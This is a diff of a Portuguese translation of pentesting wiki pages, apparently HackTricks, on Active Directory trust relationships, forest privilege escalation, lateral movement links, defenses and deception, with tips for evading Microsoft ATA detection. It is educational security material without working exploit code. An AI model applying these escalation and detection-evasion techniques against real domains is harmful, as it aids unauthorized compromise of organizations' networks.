6. O DC2 verifica o TGT inter-realm usando sua chave de confiança compartilhada e, se válido, emite um **Ticket Granting Service (TGS)** para o servidor no Domínio 2 que o cliente deseja acessar.
7. Finalmente, o cliente apresenta este TGS ao servidor, que é criptografado com o hash da conta do servidor, para obter acesso ao serviço no Domínio 2.
@ -529,9 +529,9 @@ Se o Domínio A confiar no Domínio B, A é o domínio confiador e B é o confi
- **Confianças Pai-Filho**: Esta é uma configuração comum dentro da mesma floresta, onde um domínio filho automaticamente tem uma confiança transitiva bidirecional com seu domínio pai. Essencialmente, isso significa que as solicitações de autenticação podem fluir sem problemas entre o pai e o filho.
- **Confianças de Cruzamento**: Referidas como "confianças de atalho", estas são estabelecidas entre domínios filhos para acelerar processos de referência. Em florestas complexas, as referências de autenticação normalmente precisam viajar até a raiz da floresta e depois descer até o domínio alvo. Ao criar cruzamentos, a jornada é encurtada, o que é especialmente benéfico em ambientes geograficamente dispersos.
- **Confianças Externas**: Estas são configuradas entre diferentes domínios não relacionados e são não transitivas por natureza. De acordo com a [documentação da Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), as confianças externas são úteis para acessar recursos em um domínio fora da floresta atual que não está conectado por uma confiança de floresta. A segurança é reforçada através da filtragem de SID com confianças externas.
- **Confianças de Raiz de Árvore**: Essas confianças são automaticamente estabelecidas entre o domínio raiz da floresta e uma nova raiz de árvore adicionada. Embora não sejam comumente encontradas, as confianças de raiz de árvore são importantes para adicionar novas árvores de domínio a uma floresta, permitindo que mantenham um nome de domínio exclusivo e garantindo a transitividade bidirecional. Mais informações podem ser encontradas no [guia da Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Confianças de Raiz de Árvore**: Essas confianças são automaticamente estabelecidas entre o domínio raiz da floresta e uma nova raiz de árvore adicionada. Embora não sejam comumente encontradas, as confianças de raiz de árvore são importantes para adicionar novas árvores de domínio a uma floresta, permitindo que mantenham um nome de domínio exclusivo e garantindo transitividade bidirecional. Mais informações podem ser encontradas no [guia da Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Confianças de Floresta**: Este tipo de confiança é uma confiança transitiva bidirecional entre dois domínios raiz de floresta, também aplicando filtragem de SID para melhorar as medidas de segurança.
- **Confianças MIT**: Essas confianças são estabelecidas com domínios Kerberos não Windows, [compatíveis com RFC4120](https://tools.ietf.org/html/rfc4120). As confianças MIT são um pouco mais especializadas e atendem a ambientes que requerem integração com sistemas baseados em Kerberos fora do ecossistema Windows.
- **Confianças MIT**: Essas confianças são estabelecidas com domínios Kerberos que não são Windows e que são [compatíveis com RFC4120](https://tools.ietf.org/html/rfc4120). As confianças MIT são um pouco mais especializadas e atendem a ambientes que exigem integração com sistemas baseados em Kerberos fora do ecossistema Windows.
#### Outras diferenças nas **relações de confiança**
@ -540,16 +540,16 @@ Se o Domínio A confiar no Domínio B, A é o domínio confiador e B é o confi
### Caminho de Ataque
1. **Enumerar** as relações de confiança
2. Verifique se algum **principal de segurança** (usuário/grupo/computador) tem **acesso** a recursos do **outro domínio**, talvez por entradas ACE ou por estar em grupos do outro domínio. Procure por **relações entre domínios** (a confiança foi criada para isso, provavelmente).
1. Kerberoast neste caso poderia ser outra opção.
3. **Comprometer** as **contas** que podem **pivotar** entre domínios.
1. **Enumere** as relações de confiança
2. Verifique se algum **principal de segurança** (usuário/grupo/computador) tem **acesso** aos recursos do **outro domínio**, talvez por entradas ACE ou por estar em grupos do outro domínio. Procure por **relações entre domínios** (a confiança foi criada para isso, provavelmente).
1. Kerberoast, neste caso, poderia ser outra opção.
3. **Comprometa** as **contas** que podem **pivotar** entre domínios.
Os atacantes poderiam acessar recursos em outro domínio através de três mecanismos principais:
- **Membro de Grupo Local**: Os principais podem ser adicionados a grupos locais em máquinas, como o grupo “Administradores” em um servidor, concedendo-lhes controle significativo sobre essa máquina.
- **Membro de Grupo de Domínio Estrangeiro**: Os principais também podem ser membros de grupos dentro do domínio estrangeiro. No entanto, a eficácia deste método depende da natureza da confiança e do escopo do grupo.
- **Listas de Controle de Acesso (ACLs)**: Os principais podem ser especificados em uma **ACL**, particularmente como entidades em **ACEs** dentro de um **DACL**, fornecendo-lhes acesso a recursos específicos. Para aqueles que desejam se aprofundar na mecânica de ACLs, DACLs e ACEs, o whitepaper intitulado “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” é um recurso inestimável.
- **Membro de Grupo de Domínio Estrangeiro**: Os principais também podem ser membros de grupos dentro do domínio estrangeiro. No entanto, a eficácia desse método depende da natureza da confiança e do escopo do grupo.
- **Listas de Controle de Acesso (ACLs)**: Os principais podem ser especificados em uma **ACL**, particularmente como entidades em **ACEs** dentro de um **DACL**, proporcionando-lhes acesso a recursos específicos. Para aqueles que desejam se aprofundar na mecânica de ACLs, DACLs e ACEs, o whitepaper intitulado “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” é um recurso inestimável.
### Escalonamento de privilégios de floresta de filho para pai
```
@ -582,7 +582,7 @@ sid-history-injection.md
#### Explorar NC de Configuração gravável
Entender como o Contexto de Nomeação de Configuração (NC) pode ser explorado é crucial. O NC de Configuração serve como um repositório central para dados de configuração em ambientes do Active Directory (AD). Esses dados são replicados para cada Controlador de Domínio (DC) dentro da floresta, com DCs graváveis mantendo uma cópia gravável do NC de Configuração. Para explorar isso, é necessário ter **privilégios de SYSTEM em um DC**, preferencialmente um DC filho.
Entender como o Contexto de Nomeação de Configuração (NC) pode ser explorado é crucial. O NC de Configuração serve como um repositório central para dados de configuração em ambientes do Active Directory (AD). Esses dados são replicados para todos os Controladores de Domínio (DC) dentro da floresta, com DCs graváveis mantendo uma cópia gravável do NC de Configuração. Para explorar isso, é necessário ter **privilégios de SYSTEM em um DC**, preferencialmente um DC filho.
**Vincular GPO ao site do DC raiz**
@ -592,13 +592,13 @@ Para informações detalhadas, pode-se explorar pesquisas sobre [Bypassing SID F
**Comprometer qualquer gMSA na floresta**
Um vetor de ataque envolve direcionar gMSAs privilegiadas dentro do domínio. A chave raiz do KDS, essencial para calcular as senhas dos gMSAs, é armazenada dentro do NC de Configuração. Com privilégios de SYSTEM em qualquer DC, é possível acessar a chave raiz do KDS e calcular as senhas para qualquer gMSA na floresta.
Um vetor de ataque envolve direcionar gMSAs privilegiados dentro do domínio. A chave KDS Root, essencial para calcular as senhas de gMSAs, é armazenada dentro do NC de Configuração. Com privilégios de SYSTEM em qualquer DC, é possível acessar a chave KDS Root e calcular as senhas para qualquer gMSA na floresta.
Análises detalhadas podem ser encontradas na discussão sobre [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
**Ataque de mudança de esquema**
Esse método requer paciência, aguardando a criação de novos objetos AD privilegiados. Com privilégios de SYSTEM, um atacante pode modificar o Esquema do AD para conceder a qualquer usuário controle total sobre todas as classes. Isso pode levar a acesso não autorizado e controle sobre objetos AD recém-criados.
Esse método requer paciência, aguardando a criação de novos objetos AD privilegiados. Com privilégios de SYSTEM, um atacante pode modificar o Esquema AD para conceder a qualquer usuário controle total sobre todas as classes. Isso pode levar a acesso não autorizado e controle sobre novos objetos AD criados.
Leitura adicional está disponível sobre [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
@ -639,7 +639,7 @@ WhenChanged : 2/19/2021 10:15:24 PM
```
Neste cenário, **seu domínio** está **confiando** alguns **privilégios** a um principal de **domínios diferentes**.
No entanto, quando um **domínio é confiável** pelo domínio confiável, o domínio confiável **cria um usuário** com um **nome previsível** que usa como **senha a senha confiável**. O que significa que é possível **acessar um usuário do domínio confiável para entrar no confiável** para enumerá-lo e tentar escalar mais privilégios:
No entanto, quando um **domínio é confiável** pelo domínio confiador, o domínio confiável **cria um usuário** com um **nome previsível** que usa como **senha a senha confiável**. O que significa que é possível **acessar um usuário do domínio confiador para entrar no confiável** para enumerá-lo e tentar escalar mais privilégios:
{{#ref}}
external-forest-domain-one-way-outbound.md
@ -663,7 +663,7 @@ rdp-sessions-abuse.md
### **Autenticação Seletiva:**
- Para confianças inter-floresta, a utilização da Autenticação Seletiva garante que os usuários das duas florestas não sejam autenticados automaticamente. Em vez disso, permissões explícitas são necessárias para que os usuários acessem domínios e servidores dentro do domínio ou floresta confiável.
- Para confianças inter-floresta, a utilização da Autenticação Seletiva garante que usuários das duas florestas não sejam autenticados automaticamente. Em vez disso, permissões explícitas são necessárias para que os usuários acessem domínios e servidores dentro do domínio ou floresta confiadora.
- É importante notar que essas medidas não protegem contra a exploração do Contexto de Nomeação de Configuração (NC) gravável ou ataques à conta de confiança.
[**Mais informações sobre confianças de domínio em ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
@ -671,7 +671,7 @@ rdp-sessions-abuse.md
## AD -> Azure & Azure -> AD
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity
https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html
{{#endref}}
## Algumas Defesas Gerais
@ -682,25 +682,25 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
- **Restrições de Administradores de Domínio**: Recomenda-se que os Administradores de Domínio só possam fazer login em Controladores de Domínio, evitando seu uso em outros hosts.
- **Privilégios de Conta de Serviço**: Serviços não devem ser executados com privilégios de Administrador de Domínio (DA) para manter a segurança.
- **Limitação Temporal de Privilégios**: Para tarefas que exigem privilégios de DA, sua duração deve ser limitada. Isso pode ser alcançado por: `Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
- **Limitação Temporal de Privilégios**: Para tarefas que requerem privilégios de DA, sua duração deve ser limitada. Isso pode ser alcançado por: `Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
### **Implementando Técnicas de Decepção**
### **Implementando Técnicas de Engano**
- Implementar decepção envolve a configuração de armadilhas, como usuários ou computadores de isca, com características como senhas que não expiram ou são marcadas como Confiáveis para Delegação. Uma abordagem detalhada inclui a criação de usuários com direitos específicos ou adicioná-los a grupos de alto privilégio.
- Implementar engano envolve a configuração de armadilhas, como usuários ou computadores de isca, com características como senhas que não expiram ou são marcadas como Confiáveis para Delegação. Uma abordagem detalhada inclui a criação de usuários com direitos específicos ou adicioná-los a grupos de alto privilégio.
- Um exemplo prático envolve o uso de ferramentas como: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- Mais sobre a implementação de técnicas de decepção pode ser encontrado em [Deploy-Deception no GitHub](https://github.com/samratashok/Deploy-Deception).
- Mais sobre a implementação de técnicas de engano pode ser encontrado em [Deploy-Deception no GitHub](https://github.com/samratashok/Deploy-Deception).
### **Identificando Decepção**
### **Identificando Engano**
- **Para Objetos de Usuário**: Indicadores suspeitos incluem ObjectSID atípico, logons infrequentes, datas de criação e contagens baixas de senhas incorretas.
- **Indicadores Gerais**: Comparar atributos de objetos de isca potenciais com os de objetos genuínos pode revelar inconsistências. Ferramentas como [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) podem ajudar a identificar tais decepções.
- **Indicadores Gerais**: Comparar atributos de objetos de isca potenciais com os de objetos genuínos pode revelar inconsistências. Ferramentas como [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) podem ajudar a identificar tais enganos.
### **Evitando Sistemas de Detecção**
- **Bypass de Detecção do Microsoft ATA**:
- **Enumeração de Usuários**: Evitar a enumeração de sessões em Controladores de Domínio para prevenir a detecção do ATA.
- **Impersonação de Ticket**: Utilizar chaves **aes** para a criação de tickets ajuda a evitar a detecção ao não rebaixar para NTLM.
- **Ataques DCSync**: Executar a partir de um controlador de domínio não é recomendado para evitar a detecção do ATA, pois a execução direta de um Controlador de Domínio acionará alertas.
- **Enumeração de Usuários**: Evitar a enumeração de sessões em Controladores de Domínio para prevenir a detecção pelo ATA.
- **Imitação de Ticket**: Utilizar chaves **aes** para a criação de tickets ajuda a evitar a detecção ao não rebaixar para NTLM.
- **Ataques DCSync**: Executar a partir de um controlador de domínio não é recomendado para evitar a detecção pelo ATA, pois a execução direta a partir de um Controlador de Domínio acionará alertas.
## Referências

View File

@ -10,8 +10,8 @@ Existem diferentes maneiras de executar comandos em sistemas externos, aqui voc
- [**AtExec / SchtasksExec**](atexec.md)
- [**WinRM**](winrm.md)
- [**DCOM Exec**](dcom-exec.md)
- [**Pass the cookie**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-cookie) (cloud)
- [**Pass the PRT**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/pass-the-prt) (cloud)
- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-certificate) (cloud)
- [**Pass the cookie**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.html) (cloud)
- [**Pass the PRT**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.html) (cloud)
- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.html) (cloud)
{{#include ../../banners/hacktricks-training.md}}